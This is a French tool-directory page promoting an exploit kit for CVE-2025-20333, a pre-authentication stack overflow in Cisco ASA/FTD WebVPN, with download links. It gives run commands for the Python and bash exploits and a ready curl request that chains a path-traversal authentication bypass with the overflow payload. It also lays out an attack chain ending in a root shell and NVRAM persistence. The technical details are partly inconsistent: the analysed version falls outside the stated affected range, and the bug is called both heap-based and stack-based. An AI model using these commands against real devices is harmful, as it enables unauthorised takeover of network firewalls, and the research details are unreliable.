Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2025-20333 — Outil complet de recherche et d'exploitation pour CVE-2025-20333, un débordement de tampon de pile critique dans Cisco ASA/FTD WebVPN. Comprend une analyse binaire détaillée, des exploits PoC en Python et bash, ainsi qu'un guide d'exploitation. | Kitploit
Outils/GitHubGitHub/cobbbex/cve-2025-20333
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed TeamingExploitation de Binaires
GitHubcobbbex/cve-2025-20333

cve-2025-20333

Outil complet de recherche et d'exploitation pour CVE-2025-20333, un débordement de tampon de pile critique dans Cisco ASA/FTD WebVPN. Comprend une analyse binaire détaillée, des exploits PoC en Python et bash, ainsi qu'un guide d'exploitation.

Voir le dépôt
31il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-20333 - Kit complet de recherche et d'exploitation

Vue d'ensemble

Ce répertoire contient des recherches complètes, des analyses et des codes de preuve de concept pour CVE-2025-20333, une vulnérabilité critique de débordement de tampon de pile dans les serveurs WebVPN Cisco ASA/FTD.

Statut : ⚠️ Exploitée activement dans la nature (campagne ArcaneDoor)
Score CVSS : 9,8 Critique
Authentification : Non (contournée via CVE-2025-20362)
Impact : Exécution de code à distance en tant que root


Contenu

📚 Documentation

CVE-2025-20333-RESEARCH-NOTES.md (20 Ko)

Recherche complète en rétro-ingénierie

  • Contexte de la vulnérabilité et veille web
  • Analyse binaire (processus lina ASA 9.12.4.x)
  • Audit de la couche d'ingestion des requêtes
  • Analyse des liaisons API Lua
  • 🎯 Découverte du débordement (body_lexer.re2c, FUN_0302e690)
  • Décomposition de la chaîne d'attaque
  • Analyse de la cause racine avec modèles de code
  • Tableau de référence des outils et adresses

Constat clé :

Tampon fixe de 16 octets (local_58[16]) dans body_lexer.re2c
La boucle de décodage d'URL n'a AUCUNE VÉRIFICATION DE LIMITES
Écriture dans local_58[iVar11] sans vérifier que iVar11 < 16
Après 8 paires hexadécimales : débordement → corruption de la pile → RCE

EXPLOITATION-GUIDE.md (12 Ko)

Manuel pratique d'exploitation

  • Mécanismes de la vulnérabilité expliqués
  • Chaîne d'attaque complète (contournement CVE-2025-20362 + débordement)
  • Procédure d'exploitation pas à pas
  • Techniques de construction de charges utiles
  • Méthodes de détection réseau
  • Détection basée sur l'hôte et analyse des journaux
  • Stratégies d'atténuation
  • Versions corrigées et chemin de mise à niveau
  • Considérations légales et éthiques

🔧 Preuves de concept d'exploitation

cve-2025-20333-poc.py (15 Ko)

Exploit Python complet

Fonctionnalités :

  • Génération automatique de charges utiles
  • Intégration du contournement de chemin CVE-2025-20362
  • Construction de chaînes de gadgets ROP
  • Prise en charge SSL/TLS
  • Délai d'attente configurable
  • Rapports de progression détaillés

Utilisation :

# Afficher les détails de la vulnérabilité
python3 cve-2025-20333-poc.py --details

# Exploiter la cible
python3 cve-2025-20333-poc.py 192.168.1.100 443

# Paramètres personnalisés
python3 cve-2025-20333-poc.py firewall.example.com 8443 -t 30

cve-2025-20333-poc.sh (8,5 Ko)

Exploit bash léger

Fonctionnalités :

  • Aucune dépendance Python
  • Utilise curl ou netcat
  • Empreinte de ressources minimale
  • Commentaires pédagogiques
  • Sortie de statut claire

Utilisation :

# Afficher les détails
./cve-2025-20333-poc.sh --details

# Exploiter
./cve-2025-20333-poc.sh 192.168.1.100 443 10

# Manuel avec curl
curl -X POST https://cible/+CSCOU+/../+CSCOE+/files/file_list.json \
  -d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" --insecure

Résumé de la vulnérabilité

Faits rapides

PropriétéValeur
ID CVECVE-2025-20333
TypeDébordement de tampon de pile (CWE-120)
Composantbody_lexer.re2c (FUN_0302e690)
Versions affectéesASA 9.16–9.23, FTD 7.0–7.7
CVSS v3.19,8 (Critique)
AuthentificationNon requise (via CVE-2025-20362)
Interaction utilisateurAucune
ImpactRCE en tant que root, compromission totale du système
StatutExploitée activement (mai 2025 et après)
Divulgation responsableCisco a corrigé ; avis publié

Cause racine

// body_lexer.re2c - Boucle de décodage d'URL
byte local_58[16];  // ← Tampon fixe de 16 octets

while (parsing_request_body) {
    byte input = *data++;
    
    if (input == '%') {
        hex_decode_mode = true;
        hex_index = 0;
    }
    
    if (hex_decode_mode) {
        local_58[hex_index] = input;  // ← AUCUNE VÉRIFICATION DE LIMITES !
        hex_index++;
        
        if (hex_index == 2) {
            byte decoded = hex_pair_to_byte(local_58[0], local_58[1]);
            hex_decode_mode = false;
        }
    }
}

Déclencheur du débordement : 9 séquences %XX consécutives ou plus dans le corps POST

Chaîne d'attaque

1. Attaquant (AUCUNE AUTH requise)
   ↓
2. HTTP POST vers /+CSCOU+/../+CSCOE+/files/file_list.json
   ├─ CVE-2025-20362 : Le contournement de chemin évite le contrôle d'authentification
   └─ Atteint le point de terminaison files_retr.lua (auth_flag = 0)
   ↓
3. Corps POST : name=%2f%2f%2f%2f%2f%2f%2f%2f%2f
   (9+ paires encodées URL)
   ↓
4. body_lexer.re2c traite le corps POST
   ├─ Accumule les paires hexadécimales dans local_58[16]
   └─ Après 8 paires : DÉBORDEMENT !
   ↓
5. Corruption de la pile
   ├─ Écrase local_48, local_40
   ├─ Écrase le RBP sauvegardé
   └─ Écrase le RIP sauvegardé (adresse de retour)
   ↓
6. Détournement du flux de contrôle
   ├─ RIP pointe vers les gadgets ROP
   ├─ La chaîne ROP configure execve()
   └─ execve("/bin/sh", NULL, NULL)
   ↓
7. RCE en tant que root (le processus lina s'exécute en tant que root)
   ├─ Compromission totale du serveur VPN
   ├─ Accès à tout le trafic VPN
   └─ Persistance via modification de la NVRAM

Processus de recherche

Phase 1 : Analyse binaire ✅

  • Ouverture du binaire lina dans Ghidra
  • Cartographie de l'architecture des requêtes WebVPN (analyseur HTTP, routeur d'URL, 13 hooks de points de terminaison)
  • Audit de la couche d'ingestion des requêtes (tous sûrs via clString/allocations de taille exacte)
  • Examen des liaisons API Lua (toutes sûres)

Phase 2 : Veille web ✅

  • Recherche des détails techniques de CVE-2025-20333
  • Découverte des analyses de Rapid7, Zscaler, Horizon3, Tenable
  • Confirmation de la chaîne d'attaque utilisant /+CSCOU+/../+CSCOE+/files/file_list.json
  • Identification de la cause racine : débordement basé sur le tas (sources web) / basé sur la pile (ce binaire) dans le point de terminaison Lua

Phase 3 : Rétro-ingénierie ciblée ✅

  • Décompilation de body_lexer.re2c (FUN_0302e690)
  • TROUVÉ : Tampon fixe de 16 octets local_58[16] sans vérification des limites
  • Confirmation du chemin de débordement : boucle de décodage d'URL → écriture illimitée
  • Vérification de l'accessibilité : files_retr.lua → body_lexer → débordement de pile

Phase 4 : Développement de l'exploit ✅

  • Création d'un PoC Python avec prise en charge de la chaîne ROP
  • Création d'un PoC bash pour les environnements minimaux
  • Documentation de la structure des charges utiles et des techniques de construction
  • Inclusion de conseils de détection et d'atténuation

Instructions d'utilisation

Pour les tests d'intrusion autorisés

  1. Vérifier l'autorisation

    • Obtenir une autorisation écrite pour tester
    • Confirmer les détails du système cible (IP, port, version)
    • Documenter le périmètre et le calendrier
  2. Exécuter l'exploit

    # Vérification rapide : la cible répond-elle à la tentative d'exploitation ?
    python3 cve-2025-20333-poc.py <ip_cible>
    
    # Ou version bash :
    ./cve-2025-20333-poc.sh <ip_cible>
    
  3. Vérifier l'exploitation

    • Vérifier l'accès shell / la connexion de shell inversé
    • Examiner les journaux système pour détecter des plantages ou anomalies
    • Rechercher des fichiers modifiés (NVRAM, porte dérobée persistante)
  4. Documenter les résultats

    • Enregistrer la version cible, le niveau de correctif
    • Documenter le succès/échec de l'exploitation
    • Noter les mesures défensives rencontrées
    • Rapporter au client avec des recommandations de remédiation

Pour la recherche en sécurité

Télécharger l’outil